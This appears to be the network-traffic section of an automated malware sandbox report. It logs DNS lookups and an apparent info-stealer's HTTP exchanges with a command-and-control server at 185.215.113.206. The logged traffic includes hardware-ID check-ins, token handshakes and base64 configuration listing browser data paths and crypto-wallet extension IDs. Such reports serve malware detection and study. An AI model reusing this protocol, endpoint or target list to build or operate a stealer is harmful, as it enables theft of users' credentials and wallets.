Oct 30, 2024 18:06:37.474567890 CET	192.168.2.5	1.1.1.1	0x3d4e	Standard query (0)	c.msn.com	A (IP address)	IN (0x0001)	false
Oct 30, 2024 18:06:37.474734068 CET	192.168.2.5	1.1.1.1	0x178b	Standard query (0)	c.msn.com	65	IN (0x0001)	false
Oct 30, 2024 18:06:37.513999939 CET	192.168.2.5	1.1.1.1	0xee35	Standard query (0)	api.msn.com	A (IP address)	IN (0x0001)	false
Oct 30, 2024 18:06:37.514199972 CET	192.168.2.5	1.1.1.1	0x4b5d	Standard query (0)	api.msn.com	65	IN (0x0001)	false
Oct 30, 2024 18:06:39.203268051 CET	192.168.2.5	1.1.1.1	0x9365	Standard query (0)	clients2.googleusercontent.com	A (IP address)	IN (0x0001)	false
Oct 30, 2024 18:06:39.203485012 CET	192.168.2.5	1.1.1.1	0x9605	Standard query (0)	clients2.googleusercontent.com	65	IN (0x0001)	false
Oct 30, 2024 18:06:39.227083921 CET	192.168.2.5	1.1.1.1	0xded8	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Oct 30, 2024 18:06:39.227386951 CET	192.168.2.5	1.1.1.1	0xa3d3	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Oct 30, 2024 18:06:39.227812052 CET	192.168.2.5	1.1.1.1	0x408d	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Oct 30, 2024 18:06:39.227971077 CET	192.168.2.5	1.1.1.1	0x69cd	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Oct 30, 2024 18:06:39.243596077 CET	192.168.2.5	1.1.1.1	0x8ee6	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Oct 30, 2024 18:06:39.243879080 CET	192.168.2.5	1.1.1.1	0x7941	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Oct 30, 2024 18:06:27.398240089 CET	1.1.1.1	192.168.2.5	0x99d1	No error (0)	www.google.com		142.250.186.132	A (IP address)	IN (0x0001)	false
Oct 30, 2024 18:06:27.399240971 CET	1.1.1.1	192.168.2.5	0xab96	No error (0)	www.google.com			65	IN (0x0001)	false
Oct 30, 2024 18:06:34.681801081 CET	1.1.1.1	192.168.2.5	0x8b72	No error (0)	svc.ha-teams.office.com	svc.ms-acdc-teams.office.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 30, 2024 18:06:34.681801081 CET	1.1.1.1	192.168.2.5	0x8b72	No error (0)	svc.ms-acdc-teams.office.com		52.123.243.94	A (IP address)	IN (0x0001)	false
Oct 30, 2024 18:06:34.681801081 CET	1.1.1.1	192.168.2.5	0x8b72	No error (0)	svc.ms-acdc-teams.office.com		52.123.243.197	A (IP address)	IN (0x0001)	false
Oct 30, 2024 18:06:34.681801081 CET	1.1.1.1	192.168.2.5	0x8b72	No error (0)	svc.ms-acdc-teams.office.com		52.123.243.195	A (IP address)	IN (0x0001)	false
Oct 30, 2024 18:06:34.681801081 CET	1.1.1.1	192.168.2.5	0x8b72	No error (0)	svc.ms-acdc-teams.office.com		52.123.243.196	A (IP address)	IN (0x0001)	false
Oct 30, 2024 18:06:34.775480986 CET	1.1.1.1	192.168.2.5	0xc7	No error (0)	ntp.msn.com	www-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 30, 2024 18:06:34.775583982 CET	1.1.1.1	192.168.2.5	0x687a	No error (0)	ntp.msn.com	www-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 30, 2024 18:06:34.804708958 CET	1.1.1.1	192.168.2.5	0xe651	No error (0)	bingadsedgeextension-prod-europe.azurewebsites.net	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 30, 2024 18:06:34.804735899 CET	1.1.1.1	192.168.2.5	0xbc30	No error (0)	bingadsedgeextension-prod-europe.azurewebsites.net	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 30, 2024 18:06:34.804735899 CET	1.1.1.1	192.168.2.5	0xbc30	No error (0)	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		94.245.104.56	A (IP address)	IN (0x0001)	false
Oct 30, 2024 18:06:36.313796997 CET	1.1.1.1	192.168.2.5	0x14f6	No error (0)	bzib.nelreports.net	bzib.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 30, 2024 18:06:36.314980030 CET	1.1.1.1	192.168.2.5	0x6cb1	No error (0)	bzib.nelreports.net	bzib.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 30, 2024 18:06:37.466660023 CET	1.1.1.1	192.168.2.5	0x25c	No error (0)	sb.scorecardresearch.com		18.244.18.32	A (IP address)	IN (0x0001)	false
Oct 30, 2024 18:06:37.466660023 CET	1.1.1.1	192.168.2.5	0x25c	No error (0)	sb.scorecardresearch.com		18.244.18.38	A (IP address)	IN (0x0001)	false
Oct 30, 2024 18:06:37.466660023 CET	1.1.1.1	192.168.2.5	0x25c	No error (0)	sb.scorecardresearch.com		18.244.18.27	A (IP address)	IN (0x0001)	false
Oct 30, 2024 18:06:37.466660023 CET	1.1.1.1	192.168.2.5	0x25c	No error (0)	sb.scorecardresearch.com		18.244.18.122	A (IP address)	IN (0x0001)	false
Oct 30, 2024 18:06:37.481544018 CET	1.1.1.1	192.168.2.5	0x6e80	No error (0)	assets.msn.com	assets.msn.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 30, 2024 18:06:37.482004881 CET	1.1.1.1	192.168.2.5	0x3d4e	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 30, 2024 18:06:37.482376099 CET	1.1.1.1	192.168.2.5	0x2db9	No error (0)	assets.msn.com	assets.msn.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 30, 2024 18:06:37.482867002 CET	1.1.1.1	192.168.2.5	0x178b	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 30, 2024 18:06:37.521322966 CET	1.1.1.1	192.168.2.5	0xee35	No error (0)	api.msn.com	api-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 30, 2024 18:06:37.521375895 CET	1.1.1.1	192.168.2.5	0x4b5d	No error (0)	api.msn.com	api-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 30, 2024 18:06:39.210992098 CET	1.1.1.1	192.168.2.5	0x9365	No error (0)	clients2.googleusercontent.com	googlehosted.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 30, 2024 18:06:39.210992098 CET	1.1.1.1	192.168.2.5	0x9365	No error (0)	googlehosted.l.googleusercontent.com		172.217.18.1	A (IP address)	IN (0x0001)	false
Oct 30, 2024 18:06:39.211997032 CET	1.1.1.1	192.168.2.5	0x9605	No error (0)	clients2.googleusercontent.com	googlehosted.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 30, 2024 18:06:39.234622002 CET	1.1.1.1	192.168.2.5	0xa3d3	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Oct 30, 2024 18:06:39.234920025 CET	1.1.1.1	192.168.2.5	0x408d	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Oct 30, 2024 18:06:39.234920025 CET	1.1.1.1	192.168.2.5	0x408d	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Oct 30, 2024 18:06:39.235254049 CET	1.1.1.1	192.168.2.5	0xded8	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Oct 30, 2024 18:06:39.235254049 CET	1.1.1.1	192.168.2.5	0xded8	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Oct 30, 2024 18:06:39.235310078 CET	1.1.1.1	192.168.2.5	0x69cd	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Oct 30, 2024 18:06:39.253998041 CET	1.1.1.1	192.168.2.5	0x8ee6	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Oct 30, 2024 18:06:39.253998041 CET	1.1.1.1	192.168.2.5	0x8ee6	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Oct 30, 2024 18:06:39.254894972 CET	1.1.1.1	192.168.2.5	0x7941	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49704	185.215.113.206	80	1288	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 18:06:13.387470961 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Oct 30, 2024 18:06:14.297343969 CET	203	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 17:06:14 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 30, 2024 18:06:14.377537012 CET	413	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JKJECBAAAFHIIEBFCBKF Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 4b 4a 45 43 42 41 41 41 46 48 49 49 45 42 46 43 42 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 34 42 33 42 42 36 43 42 41 36 36 38 34 32 31 37 36 35 31 31 32 30 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 4a 45 43 42 41 41 41 46 48 49 49 45 42 46 43 42 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 4a 45 43 42 41 41 41 46 48 49 49 45 42 46 43 42 4b 46 2d 2d 0d 0a Data Ascii: ------JKJECBAAAFHIIEBFCBKFContent-Disposition: form-data; name="hwid"4B3BB6CBA6684217651120------JKJECBAAAFHIIEBFCBKFContent-Disposition: form-data; name="build"tale------JKJECBAAAFHIIEBFCBKF--
Oct 30, 2024 18:06:14.694418907 CET	407	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 17:06:14 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 180 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 5a 6a 68 68 4e 44 45 35 4d 6d 4a 6c 4f 47 5a 6a 4f 54 4e 69 4f 44 5a 6d 59 6a 55 32 4e 6d 52 6a 4d 44 45 32 4d 54 42 6a 4e 6a 46 6c 59 54 4a 6c 4d 6d 51 34 4d 44 59 7a 5a 44 46 6b 4d 6a 55 33 59 6a 4d 33 4d 32 4d 79 4e 54 6b 33 4e 7a 59 77 4d 6a 67 7a 4f 54 56 69 4d 6a 52 6c 5a 6a 55 77 66 48 64 72 61 32 70 78 59 57 6c 68 65 47 74 6f 59 6e 78 7a 62 57 70 73 62 47 31 35 62 57 78 69 65 6e 45 75 63 48 64 6b 66 44 42 38 4d 48 77 78 66 44 46 38 4d 58 77 78 66 44 46 38 4d 58 77 77 66 48 6c 69 62 6d 4e 69 61 48 6c 73 5a 58 42 74 5a 58 77 3d Data Ascii: ZjhhNDE5MmJlOGZjOTNiODZmYjU2NmRjMDE2MTBjNjFlYTJlMmQ4MDYzZDFkMjU3YjM3M2MyNTk3NzYwMjgzOTViMjRlZjUwfHdra2pxYWlheGtoYnxzbWpsbG15bWxienEucHdkfDB8MHwxfDF8MXwxfDF8MXwwfHlibmNiaHlsZXBtZXw=
Oct 30, 2024 18:06:14.702208996 CET	470	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HIEHDAFHDHCBFIDGCFID Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 49 45 48 44 41 46 48 44 48 43 42 46 49 44 47 43 46 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 38 61 34 31 39 32 62 65 38 66 63 39 33 62 38 36 66 62 35 36 36 64 63 30 31 36 31 30 63 36 31 65 61 32 65 32 64 38 30 36 33 64 31 64 32 35 37 62 33 37 33 63 32 35 39 37 37 36 30 32 38 33 39 35 62 32 34 65 66 35 30 0d 0a 2d 2d 2d 2d 2d 2d 48 49 45 48 44 41 46 48 44 48 43 42 46 49 44 47 43 46 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 48 49 45 48 44 41 46 48 44 48 43 42 46 49 44 47 43 46 49 44 2d 2d 0d 0a Data Ascii: ------HIEHDAFHDHCBFIDGCFIDContent-Disposition: form-data; name="token"f8a4192be8fc93b86fb566dc01610c61ea2e2d8063d1d257b373c259776028395b24ef50------HIEHDAFHDHCBFIDGCFIDContent-Disposition: form-data; name="message"browsers------HIEHDAFHDHCBFIDGCFID--
Oct 30, 2024 18:06:15.304570913 CET	1236	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 17:06:14 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2064 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 51 7a 70 63 58 46 42 79 62 32 64 79 59 57 30 67 52 6d 6c 73 5a 58 4e 63 58 45 64 76 62 32 64 73 5a 56 78 63 51 32 68 79 62 32 31 6c 58 46 78 42 63 48 42 73 61 57 4e 68 64 47 6c 76 62 6c 78 63 66 45 64 76 62 32 64 73 5a 53 42 44 61 48 4a 76 62 57 55 67 51 32 46 75 59 58 4a 35 66 46 78 48 62 32 39 6e 62 47 56 63 51 32 68 79 62 32 31 6c 49 46 4e 34 55 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 4d 48 78 44 61 48 4a 76 62 57 6c 31 62 58 78 63 51 32 68 79 62 32 31 70 64 57 31 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 6a 61 48 4a 76 62 57 55 75 5a 58 68 6c 66 44 42 38 51 57 31 70 5a 32 39 38 58 45 46 74 61 57 64 76 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 [TRUNCATED] Data Ascii: R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8QzpcXFByb2dyYW0gRmlsZXNcXEdvb2dsZVxcQ2hyb21lXFxBcHBsaWNhdGlvblxcfEdvb2dsZSBDaHJvbWUgQ2FuYXJ5fFxHb29nbGVcQ2hyb21lIFN4U1xVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8MHxDaHJvbWl1bXxcQ2hyb21pdW1cVXNlciBEYXRhfGNocm9tZXxjaHJvbWUuZXhlfDB8QW1pZ298XEFtaWdvXFVzZXIgRGF0YXxjaHJvbWV8MHwwfFRvcmNofFxUb3JjaFxVc2VyIERhdGF8Y2hyb21lfDB8MHxWaXZhbGRpfFxWaXZhbGRpXFVzZXIgRGF0YXxjaHJvbWV8dml2YWxkaS5leGV8JUxPQ0FMQVBQREFUQSVcXFZpdmFsZGlcXEFwcGxpY2F0aW9uXFx8Q29tb2RvIERyYWdvbnxcQ29tb2RvXERyYWdvblxVc2VyIERhdGF8Y2hyb21lfDB8MHxFcGljUHJpdmFjeUJyb3dzZXJ8XEVwaWMgUHJpdmFjeSBCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8ZXBpYy5leGV8JUxPQ0FMQVBQREFUQSVcXEVwaWMgUHJpdmFjeSBCcm93c2VyXFxBcHBsaWNhdGlvblxcfENvY0NvY3xcQ29jQ29jXEJyb3dzZXJcVXNlciBEYXRhfGNocm9tZXxicm93c2VyLmV4ZXxDOlxcUHJvZ3JhbSBGaWxlc1xcQ29jQ29jXFxCcm93c2VyXFxBcHBsaWNhdGlvblxcfEJyYXZlfFxCcmF2ZVNvZnR3YXJlXEJyYXZlLUJyb3dzZXJcVXNlciBEYXRhfGNocm9tZXxicmF2ZS5leGV8QzpcXFByb2dyYW0gRmlsZXNcXEJyYXZlU29mdHdhcmVcXEJyYXZlLUJyb3dz
Oct 30, 2024 18:06:15.304677010 CET	1056	IN	Data Raw: 5a 58 4a 63 58 45 46 77 63 47 78 70 59 32 46 30 61 57 39 75 58 46 78 38 51 32 56 75 64 43 42 43 63 6d 39 33 63 32 56 79 66 46 78 44 5a 57 35 30 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 Data Ascii: ZXJcXEFwcGxpY2F0aW9uXFx8Q2VudCBCcm93c2VyfFxDZW50QnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8JUxPQ0FMQVBQREFUQSVcXENlbnRCcm93c2VyXFxBcHBsaWNhdGlvblxcfDdTdGFyfFw3U3Rhclw3U3RhclxVc2VyIERhdGF8Y2hyb21lfDB8MHxDaGVkb3QgQnJvd3NlcnxcQ2hlZG90XFVzZXI
Oct 30, 2024 18:06:15.304778099 CET	1056	IN	Data Raw: 5a 58 4a 63 58 45 46 77 63 47 78 70 59 32 46 30 61 57 39 75 58 46 78 38 51 32 56 75 64 43 42 43 63 6d 39 33 63 32 56 79 66 46 78 44 5a 57 35 30 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 Data Ascii: ZXJcXEFwcGxpY2F0aW9uXFx8Q2VudCBCcm93c2VyfFxDZW50QnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8JUxPQ0FMQVBQREFUQSVcXENlbnRCcm93c2VyXFxBcHBsaWNhdGlvblxcfDdTdGFyfFw3U3Rhclw3U3RhclxVc2VyIERhdGF8Y2hyb21lfDB8MHxDaGVkb3QgQnJvd3NlcnxcQ2hlZG90XFVzZXI
Oct 30, 2024 18:06:15.305560112 CET	1236	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 17:06:14 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2064 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 51 7a 70 63 58 46 42 79 62 32 64 79 59 57 30 67 52 6d 6c 73 5a 58 4e 63 58 45 64 76 62 32 64 73 5a 56 78 63 51 32 68 79 62 32 31 6c 58 46 78 42 63 48 42 73 61 57 4e 68 64 47 6c 76 62 6c 78 63 66 45 64 76 62 32 64 73 5a 53 42 44 61 48 4a 76 62 57 55 67 51 32 46 75 59 58 4a 35 66 46 78 48 62 32 39 6e 62 47 56 63 51 32 68 79 62 32 31 6c 49 46 4e 34 55 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 4d 48 78 44 61 48 4a 76 62 57 6c 31 62 58 78 63 51 32 68 79 62 32 31 70 64 57 31 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 6a 61 48 4a 76 62 57 55 75 5a 58 68 6c 66 44 42 38 51 57 31 70 5a 32 39 38 58 45 46 74 61 57 64 76 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 [TRUNCATED] Data Ascii: R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8QzpcXFByb2dyYW0gRmlsZXNcXEdvb2dsZVxcQ2hyb21lXFxBcHBsaWNhdGlvblxcfEdvb2dsZSBDaHJvbWUgQ2FuYXJ5fFxHb29nbGVcQ2hyb21lIFN4U1xVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8MHxDaHJvbWl1bXxcQ2hyb21pdW1cVXNlciBEYXRhfGNocm9tZXxjaHJvbWUuZXhlfDB8QW1pZ298XEFtaWdvXFVzZXIgRGF0YXxjaHJvbWV8MHwwfFRvcmNofFxUb3JjaFxVc2VyIERhdGF8Y2hyb21lfDB8MHxWaXZhbGRpfFxWaXZhbGRpXFVzZXIgRGF0YXxjaHJvbWV8dml2YWxkaS5leGV8JUxPQ0FMQVBQREFUQSVcXFZpdmFsZGlcXEFwcGxpY2F0aW9uXFx8Q29tb2RvIERyYWdvbnxcQ29tb2RvXERyYWdvblxVc2VyIERhdGF8Y2hyb21lfDB8MHxFcGljUHJpdmFjeUJyb3dzZXJ8XEVwaWMgUHJpdmFjeSBCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8ZXBpYy5leGV8JUxPQ0FMQVBQREFUQSVcXEVwaWMgUHJpdmFjeSBCcm93c2VyXFxBcHBsaWNhdGlvblxcfENvY0NvY3xcQ29jQ29jXEJyb3dzZXJcVXNlciBEYXRhfGNocm9tZXxicm93c2VyLmV4ZXxDOlxcUHJvZ3JhbSBGaWxlc1xcQ29jQ29jXFxCcm93c2VyXFxBcHBsaWNhdGlvblxcfEJyYXZlfFxCcmF2ZVNvZnR3YXJlXEJyYXZlLUJyb3dzZXJcVXNlciBEYXRhfGNocm9tZXxicmF2ZS5leGV8QzpcXFByb2dyYW0gRmlsZXNcXEJyYXZlU29mdHdhcmVcXEJyYXZlLUJyb3dz
Oct 30, 2024 18:06:15.305898905 CET	469	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CGCAKKKEGCAKJKFIIEGI Host: 185.215.113.206 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 47 43 41 4b 4b 4b 45 47 43 41 4b 4a 4b 46 49 49 45 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 38 61 34 31 39 32 62 65 38 66 63 39 33 62 38 36 66 62 35 36 36 64 63 30 31 36 31 30 63 36 31 65 61 32 65 32 64 38 30 36 33 64 31 64 32 35 37 62 33 37 33 63 32 35 39 37 37 36 30 32 38 33 39 35 62 32 34 65 66 35 30 0d 0a 2d 2d 2d 2d 2d 2d 43 47 43 41 4b 4b 4b 45 47 43 41 4b 4a 4b 46 49 49 45 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 43 47 43 41 4b 4b 4b 45 47 43 41 4b 4a 4b 46 49 49 45 47 49 2d 2d 0d 0a Data Ascii: ------CGCAKKKEGCAKJKFIIEGIContent-Disposition: form-data; name="token"f8a4192be8fc93b86fb566dc01610c61ea2e2d8063d1d257b373c259776028395b24ef50------CGCAKKKEGCAKJKFIIEGIContent-Disposition: form-data; name="message"plugins------CGCAKKKEGCAKJKFIIEGI--
Oct 30, 2024 18:06:15.310127020 CET	1056	IN	Data Raw: 5a 58 4a 63 58 45 46 77 63 47 78 70 59 32 46 30 61 57 39 75 58 46 78 38 51 32 56 75 64 43 42 43 63 6d 39 33 63 32 56 79 66 46 78 44 5a 57 35 30 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 Data Ascii: ZXJcXEFwcGxpY2F0aW9uXFx8Q2VudCBCcm93c2VyfFxDZW50QnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8JUxPQ0FMQVBQREFUQSVcXENlbnRCcm93c2VyXFxBcHBsaWNhdGlvblxcfDdTdGFyfFw3U3Rhclw3U3RhclxVc2VyIERhdGF8Y2hyb21lfDB8MHxDaGVkb3QgQnJvd3NlcnxcQ2hlZG90XFVzZXI
Oct 30, 2024 18:06:15.588514090 CET	1236	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 17:06:15 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 7116 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 5a 47 70 6a 62 47 4e 72 61 32 64 73 5a 57 4e 6f 62 32 39 69 62 47 35 6e 5a 32 68 6b 61 57 35 74 5a 57 56 74 61 32 4a 6e 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 62 6d 74 69 61 57 68 6d 59 6d 56 76 5a 32 46 6c 59 57 39 6c 61 47 78 6c 5a 6d 35 72 62 32 52 69 5a 57 5a 6e 63 47 64 72 62 6d 35 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 61 57 4a 75 5a 57 70 6b 5a 6d 70 74 62 57 74 77 59 32 35 73 63 47 56 69 61 32 78 74 62 6d 74 76 5a 57 39 70 61 47 39 6d 5a 57 4e 38 4d 58 77 77 66 44 42 38 51 6d 6c 75 59 57 35 6a 5a 53 42 58 59 57 78 73 5a 58 52 38 5a 6d 68 69 62 32 68 70 62 57 46 6c 62 47 4a 76 61 48 42 71 59 6d 4a 73 5a 47 4e 75 5a 32 4e 75 59 58 42 75 5a 47 39 6b 61 6e 42 38 4d 58 77 77 66 44 42 38 57 57 39 79 62 32 6c 38 5a 6d [TRUNCATED] Data Ascii: TWV0YU1hc2t8ZGpjbGNra2dsZWNob29ibG5nZ2hkaW5tZWVta2JnY2l8MXwwfDB8TWV0YU1hc2t8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8TWV0YU1hc2t8bmtiaWhmYmVvZ2FlYW9laGxlZm5rb2RiZWZncGdrbm58MXwwfDB8VHJvbkxpbmt8aWJuZWpkZmptbWtwY25scGVia2xtbmtvZW9paG9mZWN8MXwwfDB8QmluYW5jZSBXYWxsZXR8Zmhib2hpbWFlbGJvaHBqYmJsZGNuZ2NuYXBuZG9kanB8MXwwfDB8WW9yb2l8ZmZuYmVsZmRvZWlvaGVua2ppYm5tYWRqaWVoamhhamJ8MXwwfDB8Q29pbmJhc2UgV2FsbGV0IGV4dGVuc2lvbnxobmZhbmtub2NmZW9mYmRkZ2Npam5taG5mbmtkbmFhZHwxfDB8MXxHdWFyZGF8aHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBMaWJlcnR5fGNqZWxmcGxwbGViZGpqZW5sbHBqY2JsbWprZmNmZm5lfDF8MHwwfGlXYWxsZXR8a25jY2hkaWdvYmdoZW5iYmFkZG9qam5uYW9nZnBwZmp8MXwwfDB8TUVXIENYfG5sYm1ubmlqY25sZWdrampwY2ZqY2xtY2ZnZ2ZlZmRtfDF8MHwwfEd1aWxkV2FsbGV0fG5hbmptZGtuaGtpbmlmbmtnZGNnZ2NmbmhkYWFtbW1qfDF8MHwwfFJvbml